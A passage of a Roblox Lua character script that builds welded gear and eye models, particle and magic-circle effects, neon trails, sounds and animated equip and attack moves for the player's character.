Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
2961
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2962
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
2963
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2964
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
2965
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2966
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2967
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
2968
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2969
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2970
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
2971
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2972
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
2973
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2974
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2975
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
2976
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2977
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
2978
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2979
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2980
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
2981
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2982
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
2983
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2984
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2985
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
2986
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2987
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
2988
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2989
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
2990
Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2991
Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
2992
mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2993
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2994
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
2995
2996
local modelzorzz3=Instance.new("Model") 
2997
modelzorzz3.Parent=Character 
2998
modelzorzz3.Name="Eye"
2999
3000
handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3001
handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
3002
mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
3003
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3004
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3005
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
3006
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3007
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3008
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
3009
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
3010
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
3011
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
3012
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
3013
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
3014
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
3015
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3016
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
3017
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3018
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3019
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3020
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
3021
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3022
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
3023
3024
p = game.Players.LocalPlayer
3025
char = p.Character
3026
torso = char.Torso
3027
neck = char.Torso.Neck
3028
hum = char.Humanoid
3029
hum.MaxHealth = 1527500
3030
wait()
3031
hum.Health =hum.MaxHealth
3032
3033
local particleemitter = Instance.new("ParticleEmitter", Handle)
3034
particleemitter.VelocitySpread = 180
3035
particleemitter.Lifetime = NumberRange.new(0.1)
3036
particleemitter.Speed = NumberRange.new(2)
3037
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
3038
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3039
particleemitter.Rate = 100
3040
particleemitter.Rotation = NumberRange.new(-45, 45)
3041
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3042
particleemitter.LightEmission = 0.8
3043
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3044
3045
local particleemitter = Instance.new("ParticleEmitter", Handle2)
3046
particleemitter.VelocitySpread = 180
3047
particleemitter.Lifetime = NumberRange.new(0.1)
3048
particleemitter.Speed = NumberRange.new(2)
3049
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
3050
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3051
particleemitter.Rate = 100
3052
particleemitter.Rotation = NumberRange.new(-45, 45)
3053
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3054
particleemitter.LightEmission = 0.8
3055
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3056
3057
local particleemitter = Instance.new("ParticleEmitter", handle)
3058
particleemitter.VelocitySpread = 180
3059
particleemitter.Lifetime = NumberRange.new(0.1)
3060
particleemitter.Speed = NumberRange.new(2)
3061
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
3062
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3063
particleemitter.Rate = 100
3064
particleemitter.Rotation = NumberRange.new(-45, 45)
3065
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3066
particleemitter.LightEmission = 0.8
3067
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3068
3069
particleemitter.Enabled = true
3070
    MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
3071
    MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
3072
    so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
3073
    so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
3074
    for i=0,1,0.005 do
3075
        swait()
3076
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
3077
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
3078
        handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
3079
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
3080
        Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
3081
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3082
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3083
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3084
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3085
    end
3086
    for i=0,1,0.04 do
3087
        swait()
3088
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3089
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3090
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3091
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3092
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3093
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3094
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3095
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3096
    end
3097
attack = false
3098
end
3099
end
3100
end)
3101
3102
function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
3103
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3104
prt.Anchored=true
3105
prt.CFrame=cframe
3106
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
3107
game:GetService("Debris"):AddItem(prt,2)
3108
coroutine.resume(coroutine.create(function(Part,Mesh) 
3109
for i=0,1,delay do
3110
wait()
3111
Part.CFrame=Part.CFrame
3112
Part.Transparency=i
3113
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3114
end
3115
Part.Parent=nil
3116
end),prt,msh)
3117
end
3118
3119
TrailDeb = false
3120
3121
function equipanim()
3122
    attack=true
3123
    Humanoid.WalkSpeed = 0
3124
    if TrailDeb == false then
3125
							TrailDeb = true
3126
						end
3127
3128
						
3129
coroutine.wrap(function()
3130
local Old = handle.CFrame.p
3131
while wait()do
3132
if not TrailDeb then break end
3133
local New = handle.CFrame.p
3134
local Mag =(Old -New).magnitude
3135
local Dis =(Old +New)/2
3136
local Trail = Instance.new("Part",Character)
3137
Trail.Material = "Neon"
3138
Trail.Anchored = true
3139
Trail.CanCollide = false
3140
Trail.BrickColor = TorsoColor
3141
Trail.Size = Vector3.new(0.2,Mag,0.2)
3142
Trail.TopSurface = 0
3143
Trail.BottomSurface = 0
3144
Trail.formFactor = "Custom"
3145
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3146
local ms = Instance.new("BlockMesh",Trail)
3147
ms.Scale = Vector3.new(1,1,1)
3148
local TM = Instance.new("CylinderMesh",Trail)
3149
TM.Scale = Vector3.new(1,1,1)
3150
Old = New
3151
coroutine.wrap(function()
3152
for i = 1,0,-0.1 do
3153
wait()
3154
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3155
end
3156
Trail:remove()
3157
end)()
3158
coroutine.wrap(function()
3159
for i = 1,10 do
3160
wait()
3161
Trail.Transparency = Trail.Transparency +0.1
3162
end end)()end end)()
3163
coroutine.wrap(function()
3164
local Old = Handle.CFrame.p
3165
while wait()do
3166
if not TrailDeb then break end
3167
local New = Handle.CFrame.p
3168
local Mag =(Old -New).magnitude
3169
local Dis =(Old +New)/2
3170
local Trail = Instance.new("Part",Character)
3171
Trail.Material = "Neon"
3172
Trail.Anchored = true
3173
Trail.CanCollide = false
3174
Trail.BrickColor = TorsoColor
3175
Trail.Size = Vector3.new(0.2,Mag,0.2)
3176
Trail.TopSurface = 0
3177
Trail.BottomSurface = 0
3178
Trail.formFactor = "Custom"
3179
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3180
local ms = Instance.new("BlockMesh",Trail)
3181
ms.Scale = Vector3.new(1,1,1)
3182
local TM = Instance.new("CylinderMesh",Trail)
3183
TM.Scale = Vector3.new(1,1,1)
3184
Old = New
3185
coroutine.wrap(function()
3186
for i = 1,0,-0.1 do
3187
wait()
3188
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3189
end
3190
Trail:remove()
3191
end)()
3192
coroutine.wrap(function()
3193
for i = 1,10 do
3194
wait()
3195
Trail.Transparency = Trail.Transparency +0.1
3196
end end)()end end)()
3197
coroutine.wrap(function()
3198
local Old = Handle2.CFrame.p
3199
while wait()do
3200
if not TrailDeb then break end
3201
local New = Handle2.CFrame.p
3202
local Mag =(Old -New).magnitude
3203
local Dis =(Old +New)/2
3204
local Trail = Instance.new("Part",Character)
3205
Trail.Material = "Neon"
3206
Trail.Anchored = true
3207
Trail.CanCollide = false
3208
Trail.BrickColor = TorsoColor
3209
Trail.Size = Vector3.new(0.2,Mag,0.2)
3210
Trail.TopSurface = 0
3211
Trail.BottomSurface = 0
3212
Trail.formFactor = "Custom"
3213
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3214
local ms = Instance.new("BlockMesh",Trail)
3215
ms.Scale = Vector3.new(1,1,1)
3216
local TM = Instance.new("CylinderMesh",Trail)
3217
TM.Scale = Vector3.new(1,1,1)
3218
Old = New
3219
coroutine.wrap(function()
3220
for i = 1,0,-0.1 do
3221
wait()
3222
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3223
end
3224
Trail:remove()
3225
end)()
3226
coroutine.wrap(function()
3227
for i = 1,10 do
3228
wait()
3229
Trail.Transparency = Trail.Transparency +0.1
3230
end end)()end end)()
3231
    so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5) 
3232
    for i=0,1,0.005 do
3233
        swait()
3234
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
3235
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
3236
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3237
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3238
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3239
        LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
3240
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
3241
    end
3242
    for i=0,1,0.005 do
3243
        swait()
3244
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
3245
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
3246
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3247
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3248
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3249
        LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
3250
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
3251
    end
3252
    so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
3253
    so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
3254
    for i=0,1,0.005 do
3255
        swait()
3256
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
3257
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
3258
        handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
3259
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
3260
        Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
3261
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3262
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3263
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3264
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3265
    end
3266
    for i=0,1,0.04 do
3267
        swait()
3268
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3269
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3270
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3271
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3272
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3273
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3274
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3275
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3276
    end
3277
    --dmgstop()
3278
    attack=false
3279
    Humanoid.WalkSpeed = 12
3280
if TrailDeb == true then
3281
						TrailDeb = false
3282
end
3283
end
3284
3285
function attackone()
3286
    attack=true
3287
    if TrailDeb == false then
3288
							TrailDeb = true
3289
						end
3290
						
3291
3292
coroutine.wrap(function()
3293
local Old = Handle.CFrame.p
3294
while wait()do
3295
if not TrailDeb then break end
3296
local New = Handle.CFrame.p
3297
local Mag =(Old -New).magnitude
3298
local Dis =(Old +New)/2
3299
local Trail = Instance.new("Part",Character)
3300
Trail.Material = "Neon"
3301
Trail.Anchored = true
3302
Trail.CanCollide = false
3303
Trail.BrickColor = TorsoColor
3304
Trail.Size = Vector3.new(0.2,Mag,0.2)
3305
Trail.TopSurface = 0
3306
Trail.BottomSurface = 0
3307
Trail.formFactor = "Custom"
3308
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3309
local ms = Instance.new("BlockMesh",Trail)
3310
ms.Scale = Vector3.new(1,1,1)
3311
local TM = Instance.new("CylinderMesh",Trail)
3312
TM.Scale = Vector3.new(1,1,1)
3313
Old = New
3314
coroutine.wrap(function()
3315
for i = 1,0,-0.1 do
3316
wait()
3317
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3318
end
3319
Trail:remove()
3320
end)()
3321
coroutine.wrap(function()
3322
for i = 1,10 do
3323
wait()
3324
Trail.Transparency = Trail.Transparency +0.1
3325
end end)()end end)()
3326
    con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3327
    for i=0,1,0.08 do
3328
        swait()
3329
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
3330
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
3331
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3332
        Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
3333
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3334
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
3335
